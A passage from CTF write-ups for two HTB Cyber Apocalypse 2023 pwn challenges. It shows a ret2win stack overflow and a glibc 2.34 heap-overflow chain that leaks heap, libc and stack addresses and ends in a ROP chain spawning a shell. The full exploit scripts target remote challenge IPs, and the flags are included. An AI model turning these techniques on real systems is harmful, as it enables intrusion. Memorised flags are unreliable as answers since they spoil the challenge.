RELRO: Full RELRO 18 | Stack: No canary found 19 | NX: NX enabled 20 | PIE: No PIE (0x400000) 21 | RUNPATH: b'./glibc/' 22 | ``` 23 | 24 | No PIE and no canary, may indicate this binary is a buffer overflow challenge. 25 | 26 | `file` reveals the binary is not stripped and dynamically linked: 27 | 28 | ``` 29 | labyrinth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[sha1]=86c87230616a87809e53b766b99987df9bf89ad8, for GNU/Linux 3.2.0, not stripped 30 | ``` 31 | 32 | ### Decompilation 33 | 34 | We can decompile the binary in ghidra to grant us a decompilation of the binary. 35 | 36 | After cleanup of main we are left with the following code: 37 | 38 | ```C 39 | { 40 | int cmp; 41 | char *__s; 42 | char userbuf [32]; 43 | ulong door_num; 44 | 45 | setup(); 46 | banner(); 47 | userbuf._0_8_ = 0; 48 | userbuf._8_8_ = 0; 49 | userbuf._16_8_ = 0; 50 | userbuf._24_8_ = 0; 51 | fwrite("\nSelect door: \n\n",1,0x10,stdout); 52 | for (door_num = 1; door_num < 0x65; door_num = door_num + 1) { 53 | if (door_num < 10) { 54 | fprintf(stdout,"Door: 00%d ",door_num); 55 | } 56 | else if (door_num < 100) { 57 | fprintf(stdout,"Door: 0%d ",door_num); 58 | } 59 | else { 60 | fprintf(stdout,"Door: %d ",door_num); 61 | } 62 | if ((door_num % 10 == 0) && (door_num != 0)) { 63 | putchar(10); 64 | } 65 | } 66 | fwrite("\n>> ",1,4,stdout); 67 | __s = (char *)malloc(0x10); 68 | fgets(__s,5,stdin); 69 | cmp = strncmp(__s,"69",2); 70 | if (cmp != 0) { 71 | cmp = strncmp(__s,"069",3); 72 | if (cmp != 0) goto LAB_004015da; 73 | } 74 | fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly li ke a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> " 75 | ,1,0xa0,stdout); 76 | fgets(userbuf,0x44,stdin); 77 | LAB_004015da: 78 | fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541); 79 | return 0; 80 | } 81 | ``` 82 | 83 | Let's break this down on what it does 84 | 85 | 1. Asks us to select a door 86 | 2. Prints the 100 door choices 87 | 3. Waits for us to input the door 88 | 4. Compares our input against "69" or "069". 89 | 5. If input is correct we goto 6. Otherwise we go to 8 90 | 6. Asks us if we'd like to change the door 91 | 7. Waits for our input 92 | 8. Tells us we failed to escaped 93 | 9. Exits 94 | 95 | It becomes apparent that we first should provide the door number 69 to pass the first check. 96 | 97 | The 2nd choice has a buffer overflow inside of it, as it's trying to read 0x44 into a 0x20 sized buffer. 98 | 99 | Looking further into the decompilation, we can also see a function called escape_plan which is never called: 100 | 101 | ```C 102 | void escape_plan(void) 103 | 104 | { 105 | ssize_t bytes_read; 106 | char flag_char; 107 | int flag_fd; 108 | 109 | putchar(10); 110 | fwrite(s__\O/_|_/_\_-_-_-_-_00402018,1,0x1f0,stdout); 111 | fprintf(stdout, 112 | "\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey : %s\n" 113 | ,"\x1b[1;32m","\x1b[0m"); 114 | flag_fd = open("./flag.txt",0); 115 | if (flag_fd < 0) { 116 | perror("\nError opening flag.txt, please contact an Administrator.\n\n"); 117 | /* WARNING: Subroutine does not return */ 118 | exit(1); 119 | } 120 | while( true ) { 121 | bytes_read = read(flag_fd,&flag_char,1); 122 | if (bytes_read < 1) break; 123 | fputc((int)flag_char,stdout); 124 | } 125 | close(flag_fd); 126 | return; 127 | } 128 | ``` 129 | 130 | escape_plan simply prints out the flag. 131 | 132 | This makes the challenge a simple ret2win challenge, where you have to overwrite the return pointer on the stack to return to the escape_plan function and print the flag. 133 | 134 | ### Exploitation 135 | 136 | First we'll write some code to pass the first check, so we can send input for the 2nd one: 137 | 138 | ```py 139 | from pwn import * 140 | 141 | gdbscript = """ 142 | b *main 143 | c 144 | """ 145 | 146 | io = gdb.debug("./labyrinth",gdbscript=gdbscript) 147 | 148 | io.recvuntil(b'>>') 149 | io.sendline(b'69') 150 | io.recvuntil(b'>>') 151 | 152 | io.interactive() 153 | ``` 154 | 155 | This simply receives output from the program untill it's asking for input. Sends the correct door number to hit the 2nd prompt and waits untill it's prompted to send input again. 156 | 157 | We can now send a cyclic pattern to figure out the point where we overflow into the return pointer and break at the address where main returns: 158 | 159 | ```py 160 | from pwn import * 161 | 162 | gdbscript = """ 163 | b *0x0000000000401602 164 | c 165 | """ 166 | 167 | io = gdb.debug("./labyrinth",gdbscript=gdbscript) 168 | 169 | io.recvuntil(b'>>') 170 | io.sendline(b'69') 171 | io.recvuntil(b'>>') 172 | 173 | padding = cyclic(0x44) 174 | io.sendline(padding) 175 | 176 | io.interactive() 177 | ``` 178 | 179 | We can then inspect the top value on the stack in gdb. The first 4 characters are the cyclic pattern we are looking for 180 | 181 | ![overflow](./overflow_ret_ptr.png) 182 | 183 | In this case it's `oaaa` 184 | 185 | We can now find the offset of this pattern and only send bytes up untill this point. 186 | 187 | Then we can send the address of escape_plan to return to there instead 188 | 189 | ```py 190 | from pwn import * 191 | 192 | gdbscript = """ 193 | b *0x0000000000401602 194 | c 195 | """ 196 | 197 | io = gdb.debug("./labyrinth",gdbscript=gdbscript) 198 | 199 | io.recvuntil(b'>>') 200 | io.sendline(b'69') 201 | io.recvuntil(b'>>') 202 | 203 | padding = cyclic_find(b'oaaa') * b'A' 204 | escape_plan = p64(0x401255) 205 | 206 | io.sendline(padding+escape_plan) 207 | 208 | io.interactive() 209 | ``` 210 | 211 | ![escape_plan](./into_escape_plan.png) 212 | 213 | We now jump into escape_plan instead. However the application still crashes inside of escape_plan. 214 | 215 | This is because the stack is misaligned. If you're interested in why this happens you can check out the beginner's guide on [ROP Emporium](https://ropemporium.com/guide.html) 216 | 217 | But this is a non-issue as we can just pad our payload with a ret gadget and the stack will be aligned again! 218 | 219 | ```py 220 | from pwn import * 221 | 222 | gdbscript = """ 223 | b *0x0000000000401602 224 | c 225 | """ 226 | 227 | io = gdb.debug("./labyrinth",gdbscript=gdbscript) 228 | 229 | io.recvuntil(b'>>') 230 | io.sendline(b'69') 231 | io.recvuntil(b'>>') 232 | 233 | padding = cyclic_find(b'oaaa') * b'A' 234 | escape_plan = p64(0x401255) 235 | ret = p64(0x0000000000401016) 236 | 237 | io.sendline(padding+ret+escape_plan) 238 | 239 | io.interactive() 240 | ``` 241 | 242 | And we now get the flag when debugging! 243 | 244 | Next we just check if it works running with process and then fire it off on the remote instance: 245 | 246 | ```py 247 | from pwn import * 248 | 249 | gdbscript = """ 250 | b *0x0000000000401602 251 | c 252 | """ 253 | 254 | io = remote("165.232.98.69",32642) 255 | 256 | io.recvuntil(b'>>') 257 | io.sendline(b'69') 258 | io.recvuntil(b'>>') 259 | 260 | padding = cyclic_find(b'oaaa') * b'A' 261 | escape_plan = p64(0x401255) 262 | ret = p64(0x0000000000401016) 263 | 264 | io.sendline(padding+ret+escape_plan) 265 | 266 | io.interactive() 267 | ``` 268 | 269 | ![remote](./remote.png) 270 | 271 | ## Flag: 272 | 273 | `HTB{3sc4p3_fr0m_4b0v3}` 274 | -------------------------------------------------------------------------------- /runic/README.md: -------------------------------------------------------------------------------- 1 | # Runic - HTB Cyber Apocalypse 2023 2 | 3 | ## Description 4 | Pandora is close to finally arriving at the Pharaoh's tomb and finding the ancient relic, but she faces a tremendously complex challenge. She stumbles upon a alien-looking piece of technology that has never been mentioned in her archives, and it seems to be blocking the entrance to the Pharaoh's tomb. The machine has some runes inscribed on its surface, but Pandora can't work their meaning out. The only thing she knows is that they seem to appear, change and disappear when she tries to manipulate them. She really can't figure out the inner workings of the device, but she can't just give up. Can you help Pandora master the runes? 5 | 6 | ## Solution 7 | Checksec: 8 | ``` 9 | Arch: amd64-64-little 10 | RELRO: Full RELRO 11 | Stack: Canary found 12 | NX: NX enabled 13 | PIE: PIE enabled 14 | RUNPATH: b'.' 15 | ``` 16 | 17 | libc version this time is libc.2-34.so. Which means heap pointer mangling is present. 18 | 19 | The binary implements a hash table which it stores our runes in. 20 | 21 | The hash table is just an array containing pointers to items which is called MainTable. 22 | 23 | The items in the hash tables have the following structure: 24 | 25 | ```C 26 | struct item_t { 27 | char name[8]; 28 | char* chunk; 29 | size_t data_len; 30 | }; 31 | ``` 32 | 33 | The problem lies in the edit function: 34 | 35 | ```C 36 | { 37 | long lVar1; 38 | char *__dest; 39 | item_t *piVar2; 40 | uint curr_hash; 41 | long in_FS_OFFSET; 42 | char old_rune_name [8]; 43 | char new_rune_name [8]; 44 | 45 | lVar1 = *(long *)(in_FS_OFFSET + 0x28); 46 | old_rune_name = (char [8])0x0; 47 | new_rune_name = (char [8])0x0; 48 | puts("Rune name: "); 49 | read(0,old_rune_name,8); 50 | curr_hash = hash(old_rune_name); 51 | __dest = MainTable[curr_hash]->chunk; 52 | if (__dest == (char *)0x0) { 53 | puts("There\'s no rune with that name!"); 54 | } 55 | else { 56 | puts("New name: "); 57 | read(0,new_rune_name,8); 58 | curr_hash = hash(new_rune_name); 59 | if (MainTable[curr_hash]->chunk == (char *)0x0) { 60 | curr_hash = hash(new_rune_name); 61 | strcpy(MainTable[curr_hash]->name,new_rune_name); 62 | curr_hash = hash(old_rune_name); 63 | piVar2 = MainTable[curr_hash]; 64 | curr_hash = hash(new_rune_name); 65 | memcpy(&MainTable[curr_hash]->chunk,&piVar2->chunk,0xc); 66 | //Bug Here 67 | strcpy(__dest,new_rune_name); 68 | curr_hash = hash(old_rune_name); 69 | memset(MainTable[curr_hash],0,0x14); 70 | puts("Rune contents: "); 71 | curr_hash = hash(__dest); 72 | read(0,__dest + 8,(ulong)*(uint *)&MainTable[curr_hash]->data_len); 73 | } 74 | else { 75 | puts("That rune name is already in use!"); 76 | } 77 | } 78 | if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { 79 | /* WARNING: Subroutine does not return */ 80 | __stack_chk_fail(); 81 | } 82 | return; 83 | } 84 | ``` 85 | 86 | It copies the new_rune_name into dest expecting that rune_name to be a NULL terminated string. 87 | 88 | However we can provide a new rune name which has a NULL byte in it, and it will take the length from that rune instead and read that into dest. 89 | 90 | Eg. 91 | ``` 92 | defs: 93 | create(rune_name,length,contents) 94 | edit(rune_name,new_rune_name,contents) 95 | 96 | create("1",0x10,somecontent) 97 | create("2",0x50,somecontent) 98 | edit("1","2\x002", malcontent) 99 | ``` 100 | 101 | This will cause an overflow from chunk 1 into chunk 2. 102 | 103 | This can be abused for getting full code execution. 104 | 105 | To leak a heap pointer do the following: 106 | 107 | 1. Create 4 chunks. 3 of size 0x10 and one of size 0x58 108 | 2. Delete chunk 3 109 | 3. Edit chunk 1 with the new name 4\x004. And write data untill you hit the freed heap pointer 110 | 4. Show chunk 1 or chunk 2. 111 | 112 | Since there is heap pointer mangling but it's the first chunk allocated. The heap base can be found by bitshifting the leaked pointer to the left by 12 (eg. heap_leak << 12) 113 | 114 | Next we need a libc pointer. We can use the same method of overwriting to overwrite a chunk size to be 0x421. Then free that pointer to get a libc pointer. Then overflow untill we hit the libc pointer to leak again. 115 | 116 | Once leaking is done, we can just overflow into the free pointers of the tcache bins. But since this is libc 2.34 no free hook is available (I think). So we'll instead leak the stack as well. 117 | 118 | To leak the stack, we use the overflow again to overwrite a free pointer to point at __libc_argv. We need to remember to obfuscate the pointer we are writing as this is libc-2.34. 119 | 120 | Obfuscation can be done as follows: 121 | ```py 122 | def obfuscate(pos,ptr): 123 | return (pos>>12) ^ ptr 124 | ``` 125 | 126 | Next we allocate that chunk and fill it with data untill we hit the stack pointer. Then show that chunk. 127 | 128 | Once we have a stack leak, we just need to allocate a chunk on top of the return pointer for create, with a ROP chain. Again this is done by overflowing into a free pointer, and then allocating that free pointer. 129 | 130 | In short we: 131 | 1. Use overflow to write up to heap free ptr and leak it. Then deobfuscate it 132 | 2. Use overflow to overwrite size of a chunk, then free it to get a libc pointer. Leak by using the same method as in 1 133 | 3. Use overflow to allocate a chunk on top of __libc_argv. Fill it with data untill we can leak the pointer 134 | 4. Use overflow to allocate a chunk on top of the create functions return pointer, to allocate a ROP chain and spawn shell 135 | 136 | 137 | Exploit: 138 | 139 | ```py 140 | from pwn import * 141 | 142 | gdbscript = """ 143 | c 144 | """ 145 | #io = gdb.debug("./runic",gdbscript=gdbscript) 146 | #io = process("./runic") 147 | io = remote("165.227.224.40",32085) 148 | 149 | def create(name,size,data): 150 | io.recvuntil(b'Action:') 151 | io.sendline(b'1') 152 | io.recvuntil(b'Rune name:') 153 | io.send(name) 154 | io.recvuntil(b'Rune length') 155 | io.send(f"{size}".encode()) 156 | io.recvuntil(b'Rune contents:') 157 | io.send(data) 158 | 159 | def delete(name): 160 | io.recvuntil(b'Action:') 161 | io.sendline(b'2') 162 | io.recvuntil(b'Rune name:') 163 | io.send(name) 164 | 165 | def show_rune(name): 166 | io.recvuntil(b'Action:') 167 | io.sendline(b'4') 168 | io.recvuntil(b'Rune name:') 169 | io.send(name) 170 | io.recvuntil(b'Rune contents:\n\n') 171 | return io.recvline() 172 | 173 | def edit(name,newname,data): 174 | io.recvuntil(b'Action:') 175 | io.sendline(b'3') 176 | io.recvuntil(b'Rune name:') 177 | io.send(name) 178 | io.recvuntil(b'New name:') 179 | io.send(newname) 180 | io.recvuntil(b'Rune contents:') 181 | io.send(data) 182 | 183 | def deobfuscate(val): 184 | mask = 0xfff << 52 185 | while mask: 186 | v = val & mask 187 | val ^= (v >> 12) 188 | mask >>= 12 189 | return val 190 | def obfuscate(pos,ptr): 191 | return (pos>>12) ^ ptr 192 | 193 | #Chunks to create unsorted bin and heap leak 194 | create(b'1',0x10,b'B'*0x10) 195 | create(b'2',0x10,b'C'*0x10) 196 | create(b'4',0x10,b'E'*0x10) 197 | create(b'3',0x58,b'D'*0x58) 198 | 199 | #These chunks are to make sure we can free into unsorted bin 200 | create(b'5',0x58,b'G'*0x58) 201 | create(b'6',0x58,b'G'*0x58) 202 | create(b'7',0x58,b'G'*0x58) 203 | create(b'8',0x58,b'G'*0x58) 204 | create(b'9',0x58,b'G'*0x58) 205 | create(b'A',0x58,b'G'*0x58) 206 | create(b'B',0x58,b'G'*0x58) 207 | create(b'C',0x48,b'G'*0x18) 208 | create(b'D',0x10,b'H'*0x10) 209 | 210 | #These are to create stack leak 211 | create(b'E',0x10,b'H'*0x10) 212 | create(b'F',0x10,b'H'*0x10) 213 | create(b'G',0x10,b'H'*0x10) 214 | 215 | #These are to allocate inside libc 216 | create(b'K',0x20,b'I'*0x20) 217 | create(b'H',0x20,b'I'*0x20) 218 | create(b'I',0x20,b'I'*0x20) 219 | create(b'J',0x20,b'I'*0x20) 220 | 221 | #First get heap leak 222 | delete(b'4') 223 | edit(b'1',b'3\x003',b'A'*0x38) 224 | leak = u64(show_rune(b'2').split(b'A'*0x18)[1][:-1].ljust(8,b'\x00')) 225 | heap_base = leak << 12 226 | 227 | 228 | log.info(f"Heap base: {heap_base:#x}") 229 | 230 | #Restore the first chunk to original name. This is just so we can reuse it 231 | edit(b'3\x003',b'1',b'a') 232 | edit(b'1',b'3\x003',b'A'*0x10+p64(0x21) + b'A'*0x18 + p64(0x21)) 233 | edit(b'3\x003',b'1',b'a') 234 | 235 | #Re-allocate it 236 | create(b'4',0x10,b'E'*0x10) 237 | #Overflow the size of chunk 4 so it becomes 0x421 big 238 | edit(b'1',b'3\x003',b'A'*0x10 + p64(0x21) + b'A'*0x18 + p64(0x421)) 239 | #Free chunk 4 240 | delete(b'4') 241 | 242 | #Restore the first chunk to original name 243 | edit(b'3\x003',b'1',b'a') 244 | #Overflow up to the libc ptr in chunk 4 to leak 245 | edit(b'1',b'3\x003',b'A'*0x38) 246 | libc_leak = u64(show_rune(b'2').split(b'A'*0x18)[1][:-1].ljust(8,b'\x00')) 247 | libc_base = libc_leak - 0x1f2cc0 248 | log.info(f"LIBC BASE: {libc_base:#x}") 249 | 250 | 251 | libc_argv = libc_base+0x1f46e0 252 | over_write_val = obfuscate(heap_base,libc_argv-0x10) 253 | 254 | #Overwrite free ptr with __libc_argv address 255 | delete(b'E') 256 | delete(b'F') 257 | delete(b'G') 258 | 259 | edit(b'D',b'5\x005',b'A'*0x10+p64(0x21)+b'A'*0x20 + p64(over_write_val)) 260 | 261 | create(b'E',0x10,b'H'*0x10) 262 | create(b'F',0x10,b'H'*0x10) 263 | create(b'G',0x10,b'A'*8) 264 | 265 | #Leak stack 266 | stack_leak = u64(show_rune(b'G')[8:-1].ljust(8,b'\x00')) 267 | log.info(f"STACK LEAK: {stack_leak:#x}") 268 | 269 | edit(b'5\x005',b'D',b'a') 270 | 271 | #Overwrite free pointer with return pointer address of edit 272 | delete(b'I') 273 | delete(b'H') 274 | delete(b'J') 275 | 276 | ret_ptr = stack_leak-0x148 277 | edit(b'K',b'5\x005',b'A'*0x28 + p64(obfuscate(heap_base,ret_ptr))) 278 | create(b'L',0x20,b'a') 279 | create(b'M',0x20,b'b') 280 | 281 | #Allocate a ROP chain. 282 | poprdi = p64(libc_base+0x000000000002daa2) 283 | binsh = p64(libc_base+0x001b4689) 284 | system = p64(libc_base+0x4e320) 285 | 286 | create(b'N',0x20,poprdi+binsh+system) 287 | 288 | io.interactive() 289 | ``` 290 | 291 | ## Flag 292 | `HTB{k1ng_0f_h4sh1n_4nd_m4st3r_0f_th3_run3s}` 293 | 294 | --------------------------------------------------------------------------------